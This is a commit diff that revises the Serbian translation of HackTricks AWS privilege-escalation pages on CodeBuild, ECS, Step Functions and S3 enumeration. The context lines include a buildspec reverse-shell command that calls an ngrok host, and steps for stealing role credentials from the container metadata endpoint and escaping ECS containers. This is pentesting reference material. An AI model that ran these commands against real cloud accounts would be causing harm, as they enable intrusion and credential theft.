mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 19:11:41 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -60,7 +60,7 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
|
||||
|
||||
**Napomena**: Razlika između ove dve komande je u tome što:
|
||||
|
||||
- `StartBuild` pokreće jedan posao izgradnje koristeći specifični `buildspec.yml`.
|
||||
- `StartBuild` pokreće jedan posao izgradnje koristeći specifičan `buildspec.yml`.
|
||||
- `StartBuildBatch` vam omogućava da pokrenete grupu izgradnji, sa složenijim konfiguracijama (kao što je pokretanje više izgradnji paralelno).
|
||||
|
||||
**Potencijalni uticaj:** Direktno privesc na pridružene AWS Codebuild uloge.
|
||||
@@ -176,9 +176,9 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data
|
||||
> [!WARNING]
|
||||
> U **Codebuild kontejneru** datoteka `/codebuild/output/tmp/env.sh` sadrži sve env varijable potrebne za pristup **metapodacima akreditiva**.
|
||||
|
||||
> Ova datoteka sadrži **env varijablu `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** koja sadrži **URL putanju** za pristup akreditivima. Biće nešto poput ovoga `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
|
||||
> Ova datoteka sadrži **env varijablu `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** koja sadrži **URL putanju** za pristup akreditivima. Biće nešto poput ovog `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
|
||||
|
||||
> Dodajte to URL-u **`http://169.254.170.2/`** i moći ćete da preuzmete akreditive uloge.
|
||||
> Dodajte to u URL **`http://169.254.170.2/`** i moći ćete da preuzmete akreditive uloge.
|
||||
|
||||
> Pored toga, takođe sadrži **env varijablu `ECS_CONTAINER_METADATA_URI`** koja sadrži kompletnu URL adresu za dobijanje **metapodataka o kontejneru**.
|
||||
|
||||
@@ -302,9 +302,9 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
|
||||
|
||||
### SSM
|
||||
|
||||
Imati **dovoljno dozvola za pokretanje ssm sesije** omogućava pristup **unutar Codebuild projekta** koji se gradi.
|
||||
Imati **dovoljno dozvola za pokretanje ssm sesije** omogućava da se **uđe u Codebuild projekat** koji se gradi.
|
||||
|
||||
Codebuild projekat će morati da ima tačku prekida:
|
||||
Projekat codebuild će morati da ima tačku prekida:
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml">phases:
|
||||
pre_build:
|
||||
@@ -351,13 +351,13 @@ build:
|
||||
commands:
|
||||
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
|
||||
```
|
||||
**Uticaj:** Direktno privesc na ulogu koju koristi AWS CodeBuild radnik koja obično ima visoke privilegije.
|
||||
**Uticaj:** Direktno povećanje privilegija na ulozi koju koristi AWS CodeBuild radnik, koja obično ima visoke privilegije.
|
||||
|
||||
> [!WARNING]
|
||||
> Imajte na umu da se buildspec može očekivati u zip formatu, tako da bi napadač morao da preuzme, raspakuje, izmeni `buildspec.yml` iz root direktorijuma, ponovo zipuje i otpremi
|
||||
|
||||
Više detalja može se naći [ovde](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
|
||||
|
||||
**Potencijalni Uticaj:** Direktno privesc na pridružene AWS Codebuild uloge.
|
||||
**Potencijalni Uticaj:** Direktno povećanje privilegija na povezanim AWS Codebuild ulogama.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -140,7 +140,7 @@ aws ecs run-task \
|
||||
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Ovaj scenario je sličan prethodnim, ali **bez** dozvole **`iam:PassRole`**.\
|
||||
Ovo je i dalje zanimljivo jer ako možete pokrenuti proizvoljni kontejner, čak i bez uloge, mogli biste **pokrenuti privilegovani kontejner da pobegnete** na čvor i **ukradete EC2 IAM ulogu** i **druge ECS uloge kontejnera** koje se izvršavaju na čvoru.\
|
||||
Ovo je i dalje zanimljivo jer ako možete pokrenuti proizvoljan kontejner, čak i bez uloge, mogli biste **pokrenuti privilegovani kontejner da pobegnete** na čvor i **ukradete EC2 IAM ulogu** i **druge ECS uloge kontejnera** koje se izvršavaju na čvoru.\
|
||||
Možete čak i **prisiliti druge zadatke da se izvršavaju unutar EC2 instance** koju kompromitujete da biste ukrali njihove akreditive (kao što je objašnjeno u [**Privesc na čvor sekciji**](aws-ecs-privesc.md#privesc-to-node)).
|
||||
|
||||
> [!WARNING]
|
||||
@@ -187,7 +187,7 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
```
|
||||
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Napadač sa **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** može **izvršavati komande** unutar aktivnog kontejnera i eksfiltrirati IAM ulogu koja je povezana sa njim (potrebne su dozvole za opis jer je neophodno pokrenuti `aws ecs execute-command`).\
|
||||
Napadač sa **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** može **izvršavati komande** unutar aktivnog kontejnera i eksfiltrirati IAM ulogu koja je povezana sa njim (potrebna su prava za opis jer je neophodno pokrenuti `aws ecs execute-command`).\
|
||||
Međutim, da bi to uradio, instanca kontejnera mora imati pokrenut **ExecuteCommand agent** (što po defaultu nije slučaj).
|
||||
|
||||
Stoga, napadač može pokušati da:
|
||||
|
||||
@@ -29,7 +29,7 @@ Napadač sa **`states:TestState`** & **`iam:PassRole`** dozvolama može testirat
|
||||
```bash
|
||||
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
|
||||
```
|
||||
Sledeći primeri pokazuju kako testirati stanje koje kreira pristupni ključ za korisnika **`admin`** koristeći ove dozvole i permisivnu ulogu AWS okruženja. Ova permisivna uloga bi trebala imati neku politiku sa visokim privilegijama povezanu sa njom (na primer **`arn:aws:iam::aws:policy/AdministratorAccess`**) koja omogućava stanju da izvrši akciju **`iam:CreateAccessKey`**:
|
||||
Sledeći primeri pokazuju kako testirati stanje koje kreira pristupni ključ za korisnika **`admin`** koristeći ove dozvole i permisivnu ulogu AWS okruženja. Ova permisivna uloga bi trebala imati neku visoko privilegovanu politiku povezanu sa njom (na primer **`arn:aws:iam::aws:policy/AdministratorAccess`**) koja omogućava stanju da izvrši akciju **`iam:CreateAccessKey`**:
|
||||
|
||||
- **stateDefinition.json**:
|
||||
```json
|
||||
@@ -132,18 +132,18 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Napadačeva S3 kofa treba da ima dozvole da prihvati akciju s3:PutObject iz naloga žrtve.
|
||||
> Napadačem kontrolisani S3 bucket treba da ima dozvole da prihvati s3:PutObject akciju iz naloga žrtve.
|
||||
|
||||
**Potencijalni uticaj**: Neovlašćeno izvršavanje i manipulacija radnim tokovima i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih propusta.
|
||||
**Potencijalni uticaj**: Neovlašćena izvršenja i manipulacija radnim tokovima i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih propusta.
|
||||
|
||||
### `states:UpdateStateMachine` & (ne uvek potrebno) `iam:PassRole`
|
||||
|
||||
Napadač sa dozvolom **`states:UpdateStateMachine`** mogao bi da izmeni definiciju mašine stanja, dodajući dodatne neprimetne state-ove koji bi mogli dovesti do eskalacije privilegija. Na ovaj način, kada legitimni korisnik pokrene izvršenje mašine stanja, ovaj novi zlonamerni neprimetni state će biti izvršen i eskalacija privilegija će biti uspešna.
|
||||
Napadač sa **`states:UpdateStateMachine`** dozvolom mogao bi da izmeni definiciju mašine stanja, dodajući dodatne stealth stanja koja bi mogla dovesti do eskalacije privilegija. Na ovaj način, kada legitimni korisnik pokrene izvršenje mašine stanja, ovo novo zloćudno stealth stanje će biti izvršeno i eskalacija privilegija će biti uspešna.
|
||||
|
||||
U zavisnosti od toga koliko je IAM uloga povezana sa mašinom stanja permisivna, napadač bi se suočio sa 2 situacije:
|
||||
U zavisnosti od toga koliko je permisivna IAM uloga povezana sa mašinom stanja, napadač bi se suočio sa 2 situacije:
|
||||
|
||||
1. **Permisivna IAM uloga**: Ako je IAM uloga povezana sa mašinom stanja već permisivna (na primer, ima priloženu politiku **`arn:aws:iam::aws:policy/AdministratorAccess`**), tada dozvola **`iam:PassRole`** ne bi bila potrebna za eskalaciju privilegija, pošto ne bi bilo potrebno takođe ažurirati IAM ulogu, sa definicijom mašine stanja je dovoljno.
|
||||
2. **Nepremisivna IAM uloga**: U suprotnosti sa prethodnim slučajem, ovde bi napadač takođe zahtevao dozvolu **`iam:PassRole`** pošto bi bilo neophodno povezati permisivnu IAM ulogu sa mašinom stanja pored izmene definicije mašine stanja.
|
||||
1. **Permisivna IAM uloga**: Ako je IAM uloga povezana sa mašinom stanja već permisivna (na primer, ima priloženu **`arn:aws:iam::aws:policy/AdministratorAccess`** politiku), tada **`iam:PassRole`** dozvola ne bi bila potrebna za eskalaciju privilegija, pošto ne bi bilo potrebno takođe ažurirati IAM ulogu, sa definicijom mašine stanja je dovoljno.
|
||||
2. **Nepermisivna IAM uloga**: U suprotnosti sa prethodnim slučajem, ovde bi napadač takođe zahtevao **`iam:PassRole`** dozvolu pošto bi bilo neophodno povezati permisivnu IAM ulogu sa mašinom stanja pored izmene definicije mašine stanja.
|
||||
```bash
|
||||
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
|
||||
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
Kanta se smatra **“javnom”** ako **bilo koji korisnik može da pregleda sadržaj** kante, i **“privatnom”** ako se sadržaj kante može **pregledati ili pisati samo od strane određenih korisnika**.
|
||||
|
||||
Kompanije mogu imati **pogrešno konfigurisane dozvole za kante**, dajući pristup ili svemu ili svima koji su autentifikovani u AWS-u u bilo kojem nalogu (dakle, bilo kome). Imajte na umu da čak i sa takvim pogrešnim konfiguracijama neke radnje možda neće moći da se izvrše jer kante mogu imati svoje vlastite liste kontrole pristupa (ACL).
|
||||
Kompanije mogu imati **pogrešno konfigurisane dozvole za kante** koje daju pristup ili svemu ili svima koji su autentifikovani u AWS-u u bilo kojem nalogu (dakle, bilo kome). Imajte na umu da čak i sa takvim pogrešnim konfiguracijama neke radnje možda neće moći da se izvrše jer kante mogu imati svoje vlastite liste kontrole pristupa (ACL).
|
||||
|
||||
**Saznajte više o AWS-S3 pogrešnoj konfiguraciji ovde:** [**http://flaws.cloud**](http://flaws.cloud/) **i** [**http://flaws2.cloud/**](http://flaws2.cloud)
|
||||
|
||||
@@ -98,19 +98,19 @@ Non-authoritative answer:
|
||||
```
|
||||
Proverite da li rešen domen sadrži reč "website".\
|
||||
Možete pristupiti statičkom vebsajtu odlaskom na: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\
|
||||
ili možete pristupiti bucket-u posetom: `flaws.cloud.s3-us-west-2.amazonaws.com`
|
||||
ili možete pristupiti kanti posetom: `flaws.cloud.s3-us-west-2.amazonaws.com`
|
||||
|
||||
|
||||
|
||||
#### Pokušavajući
|
||||
|
||||
Ako pokušate da pristupite bucket-u, ali u **nazivu domena navedete drugu regiju** (na primer, bucket je u `bucket.s3.amazonaws.com`, ali pokušavate da pristupite `bucket.s3-website-us-west-2.amazonaws.com`, tada ćete biti **upučeni na ispravnu lokaciju**:
|
||||
Ako pokušate da pristupite kanti, ali u **nazivu domena navedete drugu regiju** (na primer, kanta je u `bucket.s3.amazonaws.com`, ali pokušavate da pristupite `bucket.s3-website-us-west-2.amazonaws.com`, tada ćete biti **upučeni na ispravnu lokaciju**:
|
||||
|
||||
.png>)
|
||||
|
||||
### Enumeracija bucket-a
|
||||
### Enumeracija kante
|
||||
|
||||
Da biste testirali otvorenost bucket-a, korisnik može jednostavno uneti URL u svoj veb pregledač. Privatni bucket će odgovoriti sa "Access Denied". Javni bucket će navesti prvih 1.000 objekata koji su sačuvani.
|
||||
Da biste testirali otvorenost kante, korisnik može jednostavno uneti URL u svoj veb pregledač. Privatna kanta će odgovoriti sa "Pristup odbijen". Javna kanta će navesti prvih 1.000 objekata koji su sačuvani.
|
||||
|
||||
Otvoreno za sve:
|
||||
|
||||
@@ -134,9 +134,9 @@ Ako korpa nema ime domena, prilikom pokušaja da je enumerišete, **samo stavite
|
||||
```
|
||||
https://{user_provided}.s3.amazonaws.com
|
||||
```
|
||||
### Preuzmite ID naloga iz javnog Bucket-a
|
||||
### Dobijanje ID-a naloga iz javnog Bucket-a
|
||||
|
||||
Moguće je odrediti AWS nalog koristeći novu **`S3:ResourceAccount`** **ključ uslova politike**. Ovaj uslov **ograničava pristup na osnovu S3 bucket-a** u kojem se nalog nalazi (druge politike zasnovane na nalogu ograničavaju pristup na osnovu naloga u kojem se nalazi traženi princip).\
|
||||
Moguće je odrediti AWS nalog koristeći novu **`S3:ResourceAccount`** **Ključ uslova politike**. Ovaj uslov **ograničava pristup na osnovu S3 bucket-a** u kojem se nalog nalazi (druge politike zasnovane na nalogu ograničavaju pristup na osnovu naloga u kojem se nalazi traženi princip).\
|
||||
I pošto politika može sadržati **zvezdice**, moguće je pronaći broj naloga **samo jedan broj u isto vreme**.
|
||||
|
||||
Ovaj alat automatizuje proces:
|
||||
@@ -151,9 +151,9 @@ s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/
|
||||
```
|
||||
Ova tehnika takođe funkcioniše sa API Gateway URL-ovima, Lambda URL-ovima, Data Exchange skupovima podataka, pa čak i za dobijanje vrednosti oznaka (ako znate ključ oznake). Možete pronaći više informacija u [**originalnom istraživanju**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) i alatu [**conditional-love**](https://github.com/plerionhq/conditional-love/) za automatizaciju ove eksploatacije.
|
||||
|
||||
### Potvrđivanje da je kofa deo AWS naloga
|
||||
### Potvrđivanje da je bucket deo AWS naloga
|
||||
|
||||
Kao što je objašnjeno u [**ovom blog postu**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, ako imate dozvole za listanje kofa** moguće je potvrditi accountID kojem kofa pripada slanjem zahteva poput:
|
||||
Kao što je objašnjeno u [**ovom blog postu**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, ako imate dozvole za listanje bucketa** moguće je potvrditi accountID kojem bucket pripada slanjem zahteva kao što je:
|
||||
```bash
|
||||
curl -X GET "[bucketname].amazonaws.com/" \
|
||||
-H "x-amz-expected-bucket-owner: [correct-account-id]"
|
||||
@@ -163,9 +163,9 @@ curl -X GET "[bucketname].amazonaws.com/" \
|
||||
```
|
||||
Ako je greška "Pristup odbijen", to znači da je ID naloga bio pogrešan.
|
||||
|
||||
### Korišćeni emailovi za enumeraciju root naloga
|
||||
### Korišćeni emailovi kao enumeracija root naloga
|
||||
|
||||
Kao što je objašnjeno u [**ovom blog postu**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), moguće je proveriti da li je email adresa povezana sa nekim AWS nalogom tako što se **pokušava dodeliti email dozvole** nad S3 bucket-om putem ACL-ova. Ako ovo ne izazove grešku, to znači da je email root korisnik nekog AWS naloga:
|
||||
Kao što je objašnjeno u [**ovom blog postu**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), moguće je proveriti da li je email adresa povezana sa nekim AWS nalogom tako što se **pokušava dodeliti email dozvole** preko S3 bucket-a putem ACL-ova. Ako ovo ne izazove grešku, to znači da je email root korisnik nekog AWS naloga:
|
||||
```python
|
||||
s3_client.put_bucket_acl(
|
||||
Bucket=bucket_name,
|
||||
|
||||
Reference in New Issue
Block a user